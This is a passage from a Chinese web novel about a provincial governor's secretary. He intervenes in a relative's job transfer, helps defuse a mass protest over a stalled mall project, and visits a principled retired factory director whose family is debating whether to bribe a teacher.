“廖总,我是供应商开发组的姜斌,我哥想过来跟你聊聊我调去非洲分公司的事情。” 刚才还一副天不怕地不怕的姜斌,在对方的质问声下,语气软了下来,和和气气的说。 “工作上的事情下午上班谈!”里面传出廖总的呵斥,对方并没有打算让李承他俩进门的意思。 “承哥,要不我们下午再来吧,这老家伙有起床气。”姜斌尴尬的看着李承,道。 李承满不在乎,他抬起手,用力的敲了敲门。 ‘咚咚咚...’ “我说没说,有事下午上班谈!”廖总近乎于吼的说。 “廖总,我的时间也很紧,就中午有时间。” 李承态度强硬的说完,又用力的敲了敲门。 ‘咚咚咚...’ 这一次,廖总沉默了。 经过李承这么折腾,廖总午睡已经被打断。 很快,办公室的门打开了,廖总一脸愤怒的站在门口:“你是哪位呀?” 廖总仍然没有让他们进门的打算。 “廖总,这是我哥。”姜斌说。 “谁允许你私自带家属到单位里来的?这点基本的员工准则都不知道吗?” 廖总瞪着姜斌呵斥道,随后,他的目光转向了李承:“他去非洲分公司的事情,公司已经决定了,要是不愿去就滚蛋!” 廖总能发这么大的火气,原因就是被打扰了午休。 李承和姜斌如此不懂礼貌,他也自然不会给两人好脸色。 “廖总,我在政府部门工作,时间也很紧张,只能中午过来。” 李承解释了一下原因,说:“方便到办公室里聊吗?” 听到李承在政府工作,廖总上下打量了他几眼,这才转身走进办公室,默许李承他们进门。 “廖总,我弟弟说他是因为举报他们组的总监,才被公司要求去非洲分公司,是这样吗?” 李承坐在廖总的对面,开诚布公的道。 “跟这个没关系,现在分公司缺人手,刚好他符合条件,就这么简单。” 廖总喝了一口水,说:“这也符合公司规定,没什么好谈的。” “廖总,我的时间有限,你的意思就是说,姜斌现在只有离职和去非洲两种选择,对吗?” 李承看了一眼手腕上的时间,说。 往返路程还要半个小时,再抛去可能耽搁时间的意外,李承只有不到十分钟跟他谈的时间。 “呵呵,你们政府部门的人就是狂啊,求人办事还得看你时间?”廖总冷哼一声,语气中带着几分戏谑。 “没办法,自从从审计局调到省政府当秘书,我的时间没有以前自由了。” 李承耸了耸肩,看向姜斌:“小斌,廖总态度这么坚决,我看就算了。” 说罢,李承也从椅子上站了起来,准备离开。 “等一下!” 第26章 聚众闹事 “等一下!” 正当李承准备离开时,姜斌喊住了他。 “还有什么事情吗?”李承停住脚步,问。 “你之前在审计局工作过呀?” 廖总不知道李承是省长秘书,所以,对于李承当秘书的事并不感兴趣。 毕竟,整个省政府办公厅,从综合一处到秘书九处,在职人员上百名,这些人都是秘书。 一个省政府的普通秘书,根本不够格让廖总给面子。 但审计局的工作履历不同。 进出口集团是国企单位,廖总又是进出口集团的主要领导人,无论是公司还是他个人,都在审计局的监管之内。 他可不想得罪一个有审计局工作履历的人。 毕竟,李承虽调职,审计局的关系还在。 “对,这是我的工作证。” 李承微微一笑,从口袋里拿出工作证,亮到了廖总的面前。 当廖总看清楚证件上的内容时,整个人的眼睛瞪得像铜铃一般大。 直到李承收回工作证,他才从震惊和错愕中醒悟过来。 “李秘书,原来您就是孟省长的新秘书啊,招待不周,招待不周。” 廖总从椅子上‘噌’的一下站了起来,连忙饶过办公桌,走到李承面前,主动伸出手。 “我的时间很紧,先走了。” 李承没有与他握手,再次看了一眼时间,准备离开。 “李秘书,这样,我开车送您。” 李承不给他面子,他也不生气,连忙拿起了车钥匙,准备亲自送李承。 “不必了,我也不打扰廖总午睡了。”李承说罢,迈步朝外走。 这期间,廖总始终跟在李承身边,解释刚才态度不好的误会。 “李秘书,我车在这边,就让我送您吧。” 廖总按了一下车辆解锁键,大门口,一台黑色的奔驰轿车响了一声。 “不劳烦。” 李承摆了摆手,停下脚步看着廖总:“廖总,身为国企公司的部门负责人,手下总监的作风一定要抓好,孟省长很重视这些,别步了金河集团的后尘。” 说完,李承头也不回的走到路边,拦了一台出租车离开了这里。 对于廖总这种人,李承也不想给他什么好脸色。 他手下的总监,存在严重的渎职行为,作为领导他不可能不知情,这是他放纵导致的结果。 所以,即便姜斌没有对李承提过廖总的事,但这个廖总也好不到哪里去。 ‘我的爱如潮水...’ 出租车刚到省政府,李承的手机就响了起来。 是姜叔给他打的电话。 “喂,姜叔。” “小李啊,今天真是太感谢你了,这回小斌不仅不会被调走,他们总经理还说给他提到主管。” 姜叔语气激动,向李承表达感谢:“晚上有时间没,我让你婶子做几个好菜,咱爷俩好好喝点。” “姜叔,你不用跟我客气,今天就不喝了,改天我约你。”李承笑着婉拒。 在进出口集团亮明身份后,李承再也没有提过关于姜斌的工作问题。 因为他知道,廖总已经会改变主意。 这些都在李承的意料之内。 “那行,你现在是省长的秘书,大忙人了,时间紧,理解。”姜叔笑着说。 “嗯,我到点上班了,先不跟你说了叔。” “好。” 挂断电话,李承回到了自己的办公室。 ‘铃铃铃...’ 他刚到办公室,烧上水,一通电话就打到了他的办公室。 “是李承,李秘书吗?”接通电话,一道熟悉的声音传来。 李承一听便知道对方是谁。 自己的老领导,现任汉江市委副书记杨兆华。 “我是,杨副书记有什么吩咐?”李承忍不住笑了一声。 两个人私下关系很不错,但既然是公务电话,就要称呼职位。 “锦绣广场再次出现聚众闹事的情况,比上次更严重,市局已经出动警力控制,建军让书记请示一下孟省长,该如何处理?” 杨兆华汇报情况。 从刚接电话起,李承就听到了杨兆华那边吵闹的声音,原来是有闹事。 张建军是市委书记。 李承很清楚,这件事出动了警力镇压,外加市委书记和市委书记都亲自到场了,事态一定很严峻。 在觉得大部分情况下,市委书记作为一座城市的一把手,亲自出面,一定是可以解决问题的。 但是,既然对方要请示孟良德,就证明,这件事背后涉及的层面比较广泛,涉及到的权力调动,就连一位副省级城市,副部级级别的市委书记都无法全盘掌控。 “杨副书记,您能具体跟我说一下情况吗?” 李承听说过锦绣广场的问题,但当时问题发生时,是黄秘书在职期间。 并且,当时已经得到了妥善的解决。 “这件事孟省长是知情的,现在是纺织厂的领导层,带着工人集体,还有锦绣广场的业主集体闹,场面已经控制不住了,涉及金额太大,市里也没办法下决断。” 杨兆华严肃的说。 这期间,他那边的杂闹声越来越大。 隐约间,李承可以听见对方喊:赔钱!坑害百姓等等.... “好,我这就跟孟省长汇报。” 李承挂断电话,走向孟良德的办公室。 孟良德也刚进门,屁股才坐在沙发上。 “省长,刚才杨兆华副书记打来电话,说锦绣广场再次聚众闹事,纺织厂的领导层和工人集体,联合了广场的业主一起。 建军书记也在那呢,想跟您请示接下来怎么办?” 李承将杨兆华汇报的情况,讲述给了孟良德。 闻听此言,孟良德的眉头紧紧皱起:“最担心的事情,还是发生了。” “下午没有什么重要行程吧?”孟良德问。 “有几个来访,向您汇报的,可以延后。”李承说。 “通知他们全部取消,我们去一趟现场。”孟良德道。 “好。” 李承点头,回到办公室后,他先打给了司机王师傅,让他到楼下等待。 随后挨个通知下午省长要会见的人,告诉他们会见取消后,李承跟着孟良德一起下了楼。 路上,李承忍不住的问:“老板,锦绣广场什么情况?” 在政府大院,李承叫他省长,出了院,便改称呼为老板,这是两人达成的共识。 第27章 赶往现场 “这还是上任省长,李雪忠留下来的烂摊子。”孟良德目光望向窗外,无奈的说。 这种已经涉及到聚众闹事的层度,也就谈不上什么保密可以。 就算王师傅是秦海秘书长的人,也根本不需要回避。 只是李承刚上任不久,对这件事了解不多。 为了方便开展接下来的工作,他需要了解透彻。 现在是路上,李承觉得,孟良德会愿意为他解释。 “退二进三的政策还在执行,像纺织厂这种产业,是要搬离的,但李雪忠为了一己私欲,以政府名义担保,现在开发商跑路,才撂下这一堆烂摊子。 锦绣开发商是与纺织厂合作开发土地,又在外预售商铺,这其中,有很多违规行为,坑了政府,坑了银行,也坑了很多无辜的人。” 孟良德简短的三两句话,就将事情说明了一个大概。 再结合李承知晓的小部分消息,他很快就知晓了大概一个过程。 退二进三政策,是为了优化产业结构,提高土地利用效率,改善城市环境,优化民生状况。 无论对城市,对居民,还是对那些产业,都是利好。 这个政策早在上世纪九十年代就出台,一直延续至今。 退二进三的意思,就是通过拆迁补助,土地置换等方式,移除第二产业,引进第三产业。 所谓的第二产业,主要就是工业,制造业等... 而第三产业,就是商业,娱乐,教育,医疗等.... 汉江市的主城区,早就完成了退二进三。 但汉江毕竟是省会城市,常住人口持续上涨,新区也在扩建,就会有推动退二进三的政策。 纺织厂作为第二产业,又在明月新区的核心地带,自然是要拆迁的。 在原东江省省长李雪忠的撮合下,纺织厂与锦绣开发商达成了合作,共同开发建设这块地皮。 打造锦绣商场,作为明月新区最大的商圈。 一切的初始是好的,锦绣开发商,还有纺织厂是双赢的局面,并且有李雪忠代表政府担保,纺织厂对这份合作也充满信任。 但问题,就出在李雪忠的身上。 李雪忠在任期间,贪污受贿,腐败十分严重,被纪委逮捕调查。 而锦绣开发商也卷款跑路。 在卷款跑路前,他通过李雪忠提供的便利,不仅以锦绣商场作为担保,从银行套贷数亿元。 还提前拿到了预售证,对商铺进行了售卖。 现在,锦绣开发商跑路,商场建设无人接管,那些购买商铺的百姓成为受害者之一。 纺织厂搭上了地皮,却分文未得,地皮还被锦绣开发商以非法方式抵押给了银行,纺织厂也成了受害者。 纺织厂还是全体员工持股制度,这一下,触碰到的利益巨大,人数也非常多。 引起了现在群情激奋的局面。 “一个领导的腐败,对社会造成的影响,太大了,这年头像孟省长这样的好官,不多了。” 王师傅听完后,感叹了一句。 “很多官员还是很称职的,像李雪忠这种人是少数。”孟良德道。 “老板,锦绣商场这边,要政府接手吗?”李承问。 “政府如果能接手的话,也不会闹到这种地步,损失太大,接管是下下策。”孟良德摇了摇头,道。 一个小时后,汽车抵达了锦绣商场。 还没下车,李承就被面前的场面给震慑住。 李承也见过众人上访的情况,但这种上千人,拉着横幅,呐喊叫骂的局面,李承还是第一次见。 “政府担保,还我们血汗钱!” “还我们血汗钱!” “今天必须给我们一个说法!” “把钱还给我们!你们这帮不作为的狗官!” 听着外面的叫骂声,李承对司机王师傅说:“王师傅,再往前开,饶过人群。” 这种群情激奋的情况,李承认为,不能在这里下车。 这里是人群的后方,没有警员的护卫,李承担心那些群众们太激动,会做出过激举动。 毕竟,这里面很多人可能是押注了一辈子的心血。 如果在这里下场,那些群众们知道省长来了,肯定会围拢聚集。 “没关系,就在这里下车。” 正当王师傅准备驶动汽车时,孟良德深吸一口气,说。 “好。” 李承是真心佩服孟良德的这种魄力,他连忙下车,替孟良德拉开了车门。 “东A·00002,是省长专车,省长来了,大家快去过来!” “省长来了,大家过来要钱!” “今天不给个说法,谁都别想走!” 孟良德刚下车,那些闹事群众就看到了省长专车,纷纷调转方向,围了过来。 “孟省长,我们老百姓赚钱不容易,你得给我们做主。” “我妈的棺材本都压在这商铺里面了,必须给我们一个公道,要么复工,要么退钱,不然我们也没法活了!” 大家群情激奋,每个人的情绪都很激动。 “大家安静,大家安静!” 李承挡在孟良德前面半步,双手虚压,大声喊着。 可那些人根本不听李承的话,依旧在一个劲儿的嚷着。 “大家听我说,省长亲自过来就是给大家解决问题的,你们这么喊,有什么用。 大家都安静一点,听省长说!” 李承的大喊声,传进了众人的耳朵里。 “大家先别说,让他说。” 很快,大家渐渐安静下来,等待孟良德讲话。 李承看着一个个凶狠的目光盯着省长和自己,心情也是忐忑的。 他们暂时的安静,并不能代表什么。 如果接下来孟良德的讲话,不能平息这些人的怒火,不能让这群人满意的话。 这些人的反应,一定比刚才更加激烈! “我叫孟良德,是新任东江省省长,关于大家的遭遇,我也有了了解,我知道,你们现在对政府已经失去了信任。 但今天,我敢来到这里,能正面的站在大家的面前,就是为了解决问题而来!” 孟良德先是表明了一番自己的态度,但大家并不买他的账。 “说这些狗屁话有什么用,说点实际的。” “就是,就说这个钱,能不能给吧,别说没用的!” “.....” 当众人乱作一团的吵闹时,孟良德就闭上嘴,脸上时刻保持着微笑。 这是一位领导者的素养。 第28章 信任危机 “你们让省长讲话,都先别说了。” “别吵了,看他咋说。” 渐渐的,这些人开始自己控制场面,逐渐安静。 他们虽是闹事者,也是实打实的受害者,若不是开发商跑路,他们也不至于走上这条极端的维权之路。 他们只是想要一个解决的办法而已。 “大家在百忙之中抽出时间,顶着烈日聚在这里,我知道,你们只是想让政府给一个解决问题的办法。 政府一直在积极解决这件事,但解决问题,需要时间。 还请各位给政府半个月的时间,我孟良德代表东江省人民政府保证,半个月内,如果锦绣广场不能复工,由政府垫资接管!” 孟良德掷地有声,直面问题。 “我们凭什么信你!” “就是,之前那个省长李雪忠还承诺我们纺织厂跟锦绣广场合作一定能产业转型,赚得盆满钵满呢,现在连地皮都给骗走了。” “我们不相信你,我们就要我们的钱!” 孟良德的表态已经足够有诚意,但这些民众在维权的道路上已经积攒了太多的失望。 也因为上任省长李雪忠的违法违纪,导致民众对政府失去了信心。 “都安静,都安静,听我说。” 就在这时,市委书记张建军小跑过来,招着手,示意群众安静。 副书记杨兆华,市公安局长宫庆鑫,以及数十位警员,紧跟其后。 “孟省长能够亲临现场就是为大家解决问题的,但是,解决问题也需要时间呀。 你们把省长围在这里,谁去给你们解决问题,大家消消气,这么久大家都等了,不差这半个月。” 张建军面向群众,苦口婆心的劝说:“孟省长和我这位市委书记都给大家担保,大家把心放在肚子里。” “我看到很多人都在拿手机录像,现在是自媒体的时代,在镜头面前,我再次向大家保证,半个月之内不复工,我孟良德卸任!” 孟良德表情严肃,一句一顿的说出了这番话。 一位省长当着镜头面前,能够说出做不到卸任的话,就绝不是玩笑。 这是需要足够的底气和坚定的信念,才能做到的。 “万一你也像李雪忠那个狗杂种一样落网了呢,你说的话我们不信?”一位大妈掐着腰,回怼道。 但是她的回怼并没有引起群众的应和。 八成以上的人,都因为孟良德这番言论的魄力,重燃起信心。 “好,孟省长我们信您!” 一个穿着布衣,七十多岁的老头表了态。 李承早就注意到了这个人,这个人从来没有跟着人群开口吵闹过,但很多人总会时不时将目光看向他,像是询问他的意思。 想来,他在这群人中有一定的影响力。 “既然厂长已经表态,大家就先回去吧,等着半个月后见分晓。”人群中有人喊道。 这时,李承才知道,原来这个布衣老人是纺织厂的厂长。 李承看向孟良德,发现孟良德的目光也停留在老人身上,想来,他也是才知道老人身份。 很快,纺织厂的员工们纷纷离开。 在他们的带动下,那些购买商铺的业主们也离了场。 这就是羊群效应。 “孟省长,您没事吧?” 群众散开,张建军关切的询问起来。 孟良德摆了摆手。 “您这太冒险了,他们情绪都很激动,万一有什么过激行为...”张建军继续关心。 表现出一个下属的体贴。 “群众的激动,是对政府的不信任,是你们维护工作的不到位,作为父母官,就要敢于直面群众。” 孟良德所言,句句是事实,百姓如果能够安居乐业,谁又会愿意闹事? 好在,这场危机,在孟良德到场后得到了暂时的解决。 但这也不代表张建军和杨兆华的能力不行。 首先,他们两人的公信力没有孟良德大,能够行使的权力也不及孟良德。 孟良德敢承诺半个月不解决,由政府接管。 但张建军并没有这个权力,他也就没办法向群众们保证具体时间,只能请示上级。 “建军同志,我们去工地看看。”孟良德道。 “好。” 张建军引路,一群人朝着锦绣广场的工地走去。 但走到工地近前,李承看着面前的状况,错愕的同时,心中也生起了愤慨情绪。 大片的空地,只有厂区被推到的废墟。 有些地方打了地基,有些地方甚至连地基都没有打。 看到这一幕,孟良德的眉头也紧紧皱起:“这还没开始建设,就能拿预售证,市里也提供了不少便利吧。” 东江省对于取得预售证的规定,是完成地基建设,和首层结构工程。 这种废墟状况,能取得预售证去销售商铺,这背后贪污腐败是何其严重,何其猖獗啊! “这个...” 被孟良德询问,张建军表情也尴尬起来:“是,前省长下达了命令,下属单位也不敢不从。” 他很聪明,并没有选择狡辩,而是直面问题。 “嗯。” 孟良德应了一声,并没有追究的意思:“现在有没有企业愿意接手锦绣广场?” 对于烂尾工程,最佳的解决办法就是引入合作方。 政府接管是下下策。 至于追缴携款潜逃的开发商,就是另一码事了。 “锦绣广场商业群本身建设成本就高,现在又欠下累累外债,只有花海集团的李美娇有这方面意向,条件却十分苛刻。”张建军无奈的说。 “什么条件?” “她只愿意继续履行和纺织厂的合作关系,对于锦绣置业外售的商铺,概不负责。” 张建军皱着眉头,一脸惆怅:“如果这样,政府将面临近十亿的直接损失。” “不能谈了吗?”孟良德问。 “李美娇知道政府很迫切解决问题,半步不让。”张建军摇头道。 “嗯,我知道了。” 视察了一圈工地后,孟良德和李承在张建军等人的目送下,离开了这里。 一路上,孟良德始终眉头紧皱,在思考着。 “省长,下午还要继续接访吗?” 回到办公室,李承看了一眼时间,距离下班还有两个小时。 孟良德摆了摆手,表示拒绝。 李承看得出来,他在为这件事而忧虑。 “省长,我听到过一些关于李美娇的传闻,不知道能不能讲?” 第29章 李美娇 “李美娇这个人我倒听过,不太了解,你把你知道的都讲出来,让我了解一下。”孟良德道。 “好的省长。” 孟良德是从北京下派过来的省长,在任时间也不长,对于本地情况不是特别了解。 但李承在汉江市已经生活了将近十年,又从事的是审计工作,每天与一些企业打交道。 对于商业人物方面,也有很多的了解。 李承调查过的很多国企企业,都与李美娇的花海集团有过合作往来。 李美娇,这位四十岁的商业女强人,在汉江可是位传奇人物。 她十四岁从农村到汉江打工,从一个服务员做起,一步一步成为了几十亿身价的企业家。 她的确很有经商头脑,也比很多人更能看透现实。 但她的成功经历并不光鲜,也没有想象中那么励志。 她是依靠自己的姿色,通过男人上位,攀附权贵,一步一步的爬到了这个位置。 从最开始骗普通男人给她钱,再到骗男商人给她投资,最后,靠着美色,游走于各个官员的床上,以此换取利益。 李承曾听人提起过,说在十年前,汉江流传过一句话:在汉江,没睡过李美娇的官,就没资格说自己是大官。 这句话虽有夸张的成分在,却也讽刺了当年汉江的官场环境,和李美娇的起家之路。 不过,近年来,李美娇的生意越做越大,已经不需要靠美色还谋取利益了。 她也开始洗白自己,打造成了一个慈善家的人设。 但在去年,李承与一位国企领导吃饭时,那位领导喝多了酒,曾聊起过李美娇,说她这两年跟省公安厅厅长常百利关系暧昧。 关于李美娇的成功经历和背后传闻,李承以一种简单委婉的讲述给了孟良德后,他以玩笑的方式说: “我还听说,李美娇跟公安厅的常厅长关系匪浅,不知道是不是真的。” 听完李承的讲述,孟良德没有回答。 他沉默了好一会儿,这才看向李承:“李秘书,通知常百利过来见我。” “好的省长。” 李承应下,退出了办公室,回到秘书间,给公安厅打去电话。 一个小时后,常百利赶了过来。 “李秘书,孟省长在办公室吗?”常百利表情平静,问。 “常厅长,省长一直在办公室等您呢。” 李承站起身,将常百利带进了省长办公室。 “省长,常厅长来了。” 孟良德此时正在看文件,李承提醒他的同时,他也已经看了过来。 “孟省长。”常百利笑了一下。 “百利同志,这边坐。” 孟良德站起身,走向了会客区域。 李承则退出办公室,去准备茶水。 很快,他端起烧好水的水壶,用纸杯装了一些茶叶,从新回到办公室,给两人沏茶。 “我这次叫你过来,有两个情况要向你了解一下,一呢,就是金河集团副董事长的抓捕情况。”孟良德说。 在这期间,李承也开始洗茶,泡茶。 这个过程需要时间,李承也刚好可以侧耳去听。 “潘男还在逃,可以确定没有出境,我也加大了搜索的警力,相信用不了多久,他就会被缉拿归案。” 常百利回答了孟良德的问题。 “用不了多久,是多久,十天,一个月,还是一年啊?”孟良德端起茶杯,抿了一口,语气平淡的问。 “半个月之内,一定将他抓捕归案。” 在孟良德的追问时间下,常百利迟疑片刻,保证道。 这时,李承已经泡好了茶,将第一杯放到孟良德面前后,第二杯放在了常百利面前。 倒完茶,李承见孟良德没有回避他的意思,也就没退出去,站在一旁听。 “嗯。” 孟良德微微点头:“第二件事是向你打听个人。” “孟省长您说。” “李美娇你认识吗?”孟良德淡淡的问。 “李美娇?孟省长怎么问起了她?” 常百利一惊,但很快,他闪烁的眼神就被他镇定了下来。 “听人说,你跟李美娇关系不错。”孟良德道。 “不算吧,她一个商人,跟我怎么会有太多交集,只是去年她的一个化工企业发生火灾,事态十分严峻。 我亲自到场指挥工作,才与她相识。 她是一个风云人物啊,跟她稍微沾上点边,就有人会遐想,从中去做文章。” 常百利表现的很淡定,将自己与李美娇的关系,甩得干干净净。 “哦,这样呀。” 孟良德微微点头,说明原因:“下午锦绣广场拉横幅,聚众维权的事情,你听说了没有?” “市局那边向我汇报过,我们也在积极通过外交渠道与维瑞利亚沟通,但因为没有引渡条款,难度很大。”常百利道。 李雪忠落网,但跟他勾结,卷款跑路的锦绣开发商却没落网。 原因就是对方已经跑到了境外,去了维瑞利亚这个没有引渡条款的国家。 这才是锦绣广场事发近一年,迟迟没有得到处理结果的最终原因。 “我已经向群众保证,半个月内解决此事,但愿意接手锦绣广场的,只有李美娇的花海集团一家。 她的条件过于苛刻,政府根本无法满足,看来,锦绣广场这个项目,只能政府接手了。” 孟良德端起茶杯,抿了一口,惆怅的说。 孟良德是以一种唠家常的语气,甚至是有点抱怨的感觉去跟常百利讲。 他这么做的目的很简单,并非是让常百利去劝李美娇让步。 而是在通过常百利的口,去向李美娇传达政府的底线和决定。 让李美娇自己去衡量。 这就是孟良德的高明之处。 这样一来,并不会显得他深问常百利和李美娇的关系,又将主动权掌握在自己手里。 “商人嘛,无利不起早。” 常百利也喝了一口茶,干笑着回道:“都是不见兔子不撒鹰的主,不让他们见到利润,他们也不会做。” 常百利后面这句话,是在变相的试探孟良德底线。 孟良德何等精明,便顺着话聊了下去:“锦绣广场的赃款不追缴回来,政府要面临巨额损失,自然不会在这个项目上留给接手企业太多利润空间。 但明月新区还在开发,后续开发政府一定会优先支持帮助政府渡过难关的企业。” 第30章 探望老厂长 “百利同志,金河集团的案子要抓紧,潜逃的锦绣开发商,也务必想尽办法,将他抓捕归案。” 传达完合作底线后,孟良德再次叮嘱了一句,便摆了摆手:“没什么事了,百利同志,你回去吧。” “嗯,孟省长,我一定尽快落实。” 常百利点了点头,起身离开了省长办公室。 李承送走他后,又重新折返了回来,给省长继续泡茶。 “李秘书,你对纺织厂的厂长,可有了解呀?”孟良德再次抿了一口茶,问。 “不了解,我也是今天到达现场,才知道那个布衣老者是厂长。”李承如实回答道。 “他的威信度很高,一定要维护好,这对于今后锦绣广场工作是否能顺利开展,有关键性作用。 你去问问他家住址,买点东西探望一下,不要吝啬,开发票报销就行。”孟良德吩咐道。 “好的省长。” 老厂长是维权群众们的风向标,那些纺织厂的老员工们,都很尊重他的意思。 只要把老厂长维护住,日后的工作才会更容易开展。 毕竟,无论锦绣广场最后是政府接管,还是招商引资,都需要跟纺织厂再度达成一致。 如果老厂长配合,工作开展将会顺利很多。 相反,老厂长若是不配合,大概率那些纺织厂的工人也不会配合政府工作。 下班后,李承去商场买了一些水果,补品,还有一瓶五粮液。 坐着公交车,按照市里给的地址,赶往了老厂长的家。 老厂长姓费,叫费玉春。 七十年代,从纺织厂的一个小员工,一步步做到了厂长的位置,后来又赶上九十年代改革。 纺织厂转变为民营企业,在费厂长的推动下,实行了员工持股制度。 纺织厂被费厂长经营得很好,大家也都赚到了钱,所以,那些员工们都感激他,是心甘情愿的以费厂长马首是瞻。 费厂长的家就坐落在明月新区,与纺织厂不到一公里的路程,是一个平房大院。 院墙上已经画上了‘拆’字。 ‘咚咚咚....’ 李承站在大院门外,敲响了铁门。 不一会儿的工夫,大铁门上的小门从里面打开了,一个十七八岁的小姑娘,眨着大眼睛,疑惑的问:“叔叔,你找谁呀?” “请问这里是费玉春老厂长的家吗?”李承笑着问。 小姑娘长得很水灵,像出水芙蓉一般,只是,那张漂亮的脸蛋上却充斥着几分沮丧。 像是受到了很大的委屈。 “你找我爷爷呀,他在家呢。” 小姑娘说着,转身朝里面走去:“爷爷,有人来找你。” 李承跟着她,走过小院,进入了屋内。 听到消息的费厂长也已经穿鞋下地。 “老厂长,您好。”李承提着礼品,客客气气的向费厂长问好。 “我们下午好像见过,你是哪位干部?”费厂长的目光在李承身上打量一番,问。 “我是孟省长的秘书,我叫李承。”李承自我介绍的同时,将带来的礼品放在炕上:“孟省长本来也想过来的,但他还在开会,抽不开身。 孟省长特意嘱咐我过来看望您,感谢您下午的解围。” “省长日理万机,我一个糟老头子没什么好看的,李秘书,你坐。” 孟省长邀请李承坐下后,目光看向小女孩:“筱筱,你去洗点水果过来。” “嗯。”女孩应了一声,走向厨房。 “李秘书,我是一个大老粗,没什么文化,说话也直接,你别介意。 我心里还是有些疑虑,正好你来了,想问问你。” 费厂长拿起遥控器,将电视机关闭,说。 “费厂长,您问。” “我想要一个准信,工地到底什么时候能复工?”费厂长问。 他这是对孟省长今天下午的保证不信任。 “孟省长都说了,半个月内,一定复工。”李承微笑道。 “我不是不相信孟省长,只是,锦绣广场涉及金额巨大,又亏欠纺织厂,银行和业主三方的钱。 我们上访近一年都没结果,张建军书记的保证也是一拖再拖,说实话,半个月复工在我看来不可能。” 费厂长卷了一根旱烟,用嘴抿了抿烟的另一头:“我不是一个老顽固,也懂得政府的难处,我只是想要一个准确的时间,跟工人们也有一个交代。” 费厂长很真诚,也很有大局观,一番话让李承对这位老人刮目相看。 “省长已经在谈合作商了,您不了解孟省长的为人,他敢承诺就一定会做到。”李承解释道。 “孟省长的确是位令人敬佩的好领导,锦绣广场是一块烫手山芋,是上任省长留下来的烂摊子。 别人恨不得离的越来越好,偏偏他敢站出来,还以职位担保,我很钦佩。” 费厂长点燃香烟,吸了一口,对孟省长赞不绝口。 “省长在积极处理这件事,我们也希望能得到费厂长的配合。” 李承顺着费厂长的话,表明了此次过来的目的。 “那是自然。” “叔叔,吃水果。” 两人聊天的工夫,筱筱已经洗好了水果,放在了两人面前。 “谢谢。” 李承也不客气,来这一路的确有些口渴,便拿起一个苹果啃了起来。 “不许去,爸说的话,你刚才没听见吗?” 这时,隔壁的房门开了,一个男人的声音传来。 “筱筱本来个子就小,现在被老师调到最后一排,还怎么学东西,明年就要高考了,现在是冲刺时期。” 女人急切的声音打断男人后,她走进了费厂长这屋。 女人大概四十岁左右,保养的很好,是费厂长的儿媳妇,刘彩洁。 她进门后,也不顾有客人在,便对费厂长说:“爸,这个红包必须给刘老师送去,孩子的学业很关键啊。” “不行,学校就是教书育人的地方,我们不能助长这种歪风邪气,那些老师敢这样,就是被你们这群家长给惯坏的!” 当面对儿媳妇时,费厂长变了一副严厉的样子。 李承坐在旁边,大概也听明白了。 怪不得刚进门时,就看到筱筱沮丧着脸,原来是在学校被老师给针对了。 李承看了一眼筱筱,不到一米六的个头,被调到最后一排,如果前排是几个个子高的男生,那根本就看不到黑板。 第31章 恶俗风气 “爸,我知道您正直,可现在社会风气就这样,别人都送礼,我们不送礼就会被区别对待。 咱家筱筱这小个子,在最后一排什么都看不清,不送礼哪成啊?” 刘彩洁焦急的劝说着。 女儿明年就要高考了,这个时候,只有是有责任心的家长,都会想尽办法给孩子最好的学习环境。 李承虽还没有结婚,也没有孩子,但他对于现在这个教育环境还是很了解的。 前几年,送礼风气小的时候,给老师送礼,塞红包的孩子,就能够得到优待,例如坐到前排,学习关照,或者是选个班干部之类的。 但近些年,可能是家家生活条件好了,对于孩子学习的重视度高了,送礼风气逐渐严峻,以至于到了一种恶化的程度。 现在,你送礼不一定能有优待,但是不送礼的家长,孩子会被区别对待。 至于优待,那就要看家长送礼的数额,以及跟老师维护的关系如何。 原本最纯净的校园,也在这种恶俗风气之下,变成了一个小社会,小职场的模样。 “那就去实名举报,我就不信,这个礼不送,筱筱就学不了习!”费厂长语气严肃,对于这种恶俗风气,表现出了抗争到底的样子。 “爸,没用的,前段时间筱筱同学的家长就实名举报过,结果老师没被处理,孩子却成天被叫到办公室罚站,孩子都有心理阴影了。” 刘彩洁很无奈的解释着。 “是呀爸,就两千块钱,咱们也不差这点。”儿子费阳也附和道。 “这并不是钱的问题,是风气的问题!”费厂长态度坚决,严厉呵斥:“都不许去!” “爸...” 正在一家人对于送不送礼争辩不休时,李承轻咳两声:“咳咳...” 他的咳声让原本还要继续说下去的刘彩洁闭上了嘴。 这时,她才将注意力定在李承身上,表情平缓下来:“家里来客人了,那你们先聊。” “筱筱在哪个高中上学?几班?”李承开口问。 “一中高三六班,怎么了?”刘彩洁反问。 第一高级中学,是整个汉江市最好的高中,能上一中的学生,都是初中时期学习成绩顶尖的孩子。 “老厂长说得很对,我们不能助长这些恶俗风气,礼你们不用送,明天我去一趟一中,跟他们校长谈谈这个问题。” 李承认真的说。 “您是?” 听到李承开口就说要跟校长谈话,刘彩洁不禁又仔细看了李承一番。 眼前男人年纪看起来并不大,三十岁左右,但穿着打扮,言行举止,看起来像是官场上的人物。 “这位是孟省长的秘书,李承。”费厂长介绍起李承的身份。 “啊!” 听到省长秘书这四个字,刘彩洁震惊到张大嘴巴。 随即,她便笑的合不拢嘴:“原来是李秘书啊,您要是能亲自跑一趟一中就太好了,这样,量老师有十个胆子,也不敢针对我家筱筱,哈哈哈。” 说完,她轻轻拍了一下筱筱的后背:“筱筱,还不快谢谢叔叔。” “谢谢李叔叔。” 筱筱很有礼貌的对李承表示了感谢。 “李秘书,这件事就不给你填麻烦了,一个小孩子上学的小事而已。”费厂长却婉拒了李承。 闻言,刘彩洁的脸色有些不高兴,但她也不敢反驳费厂长。 “老厂长,我去一中不止是为了筱筱,孟省长一直很重视教育问题,这种恶俗的教育风气是孟省长非常反感的,只是一直没倒出时间来整顿。 明天,我先去给他们提个醒,如果他们及时整改,也是省政府希望看到的。” 李承给了费厂长一个台阶。 但他的言论,也是事实。 孟省长早就想对教育进行整顿,只是其他要务太重,孟省长没有那么多空余的时间。 跟其他要务相比,收受红包的整改,并不迫在眉睫。 “好,那就辛苦李秘书了。”费厂长点了点头,应下。 “李秘书,您还没吃饭呢吧,咱们一起去吃点吧,我们小两口请您。”刘彩洁热情的邀请李承。 能够结识一位省长秘书,对他们来说,是无比的荣幸。 如果相处得好,说不定以后还有能用得到的地方。 “不麻烦了,时间不早了,我也得回去了。”李承摆了摆手,起身准备告辞。 “李秘书,你晚上要是没事的话,就让彩洁去准备饭菜,正好这有你拿来的好酒,咱们爷俩把它3喝掉,也聊聊锦绣广场的事儿。”费厂长也邀请李承。 “嗯,那就恭敬不如从命。” 李承沉吟片刻,点头答应。 跟费厂长相处的时间虽然短暂,但李承看得出来,这是一个很正直的人。 